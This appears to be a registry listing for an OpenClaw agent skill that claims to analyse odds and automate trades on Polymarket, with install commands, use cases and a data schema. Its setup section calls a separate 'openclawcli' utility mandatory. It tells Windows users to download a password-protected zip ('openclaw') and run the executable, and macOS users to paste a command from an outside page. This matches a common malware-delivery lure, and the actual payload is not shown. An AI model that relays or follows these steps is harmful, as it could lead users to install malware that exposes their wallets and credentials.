A comprehensive toolset for analyzing market odds, executing trades, and automating prediction market strategies on Polymarket.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polym
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polym using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
Polymarket is a leading decentralized prediction platform where users trade shares on the outcomes of real-world events. This skill integrates with Openclaw Skills to provide developers and traders with programmatic access to market data, order books, and trading execution. By leveraging the Gamma and CLOB APIs, users can analyze implied probabilities and market sentiment across diverse categories like politics, sports, and economics.
The core value of this skill lies in its ability to transform raw market data into actionable insights. It allows for the creation of sophisticated position management workflows and automated strategy execution. Whether you are hedging against geopolitical risk or seeking an informational edge in sports, this skill serves as a bridge between high-level market signals and your automated trading environment.
Polymarket Trading Skill Use Cases
- Tracking political election odds and geopolitical event outcomes in real-time.
- Automating price alerts for specific market thresholds to capture volatility.
- Executing arbitrage strategies between Polymarket and other forecasting platforms.
- Analyzing market liquidity and order book depth before placing large trades.
- Managing a diversified portfolio of event-based shares with automated P&L tracking.
How Polymarket Trading Skill Works
- The skill interfaces with the Polymarket Gamma API to fetch active markets, question metadata, and current pricing.
- Users must run the openclawcli utility which handles the underlying communication and data retrieval logic.
- The agent processes market slugs or condition IDs to retrieve specific share prices and calculate implied probabilities.
- Real-time order book data is pulled via the CLOB API to evaluate market depth and potential slippage.
- Custom bash scripts monitor price movements or volume spikes to trigger alerts or log portfolio changes.
Polymarket Trading Skill Setup
To use this skill within the Openclaw Skills framework, ensure you have jq and curl installed on your system.
Prerequisites: The openclawcli utility is mandatory for market data retrieval and trading operations.
Installation:
- Windows: Download openclawcli.zip (extraction password: openclaw) and run the executable.
- macOS: Execute the installation command found on the official snippet page in your Terminal.
Environment Configuration:
# Set your Polymarket address for tracking
export POLYMARKET_ADDRESS="your_wallet_address"
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes market information using a structured taxonomy derived from the Polymarket API. Data is primarily handled in JSON format for easy parsing and automation.
| Data Category | Field | Description |
|---|---|---|
| Market Metadata | question, slug |
The event description and its unique URL identifier. |
| Pricing | outcomePrices |
A JSON object containing current YES and NO share values. |
| Market Stats | volume, liquidity |
Total trading volume and the depth of available liquidity. |
| Order Book | bids, asks |
List of current limit orders used to calculate market spreads. |
| Timeline | startDate, endDate |
The lifecycle of the prediction market from creation to resolution. |
Polymarket Trading Skill Advanced Features
- Kelly Criterion Calculator: Built-in logic for mathematically optimized position sizing based on your edge.
- Multi-Market Scanner: Identify newly created markets or high-volume opportunities automatically.
- Correlation Trading: Tools to find and exploit price discrepancies between related event outcomes.
- Momentum Tracking: Scripts to identify rapid price movements and social sentiment shifts.
- Portfolio Aggregator: A unified view of positions across different categories including P&L tracking.
SKILL.md
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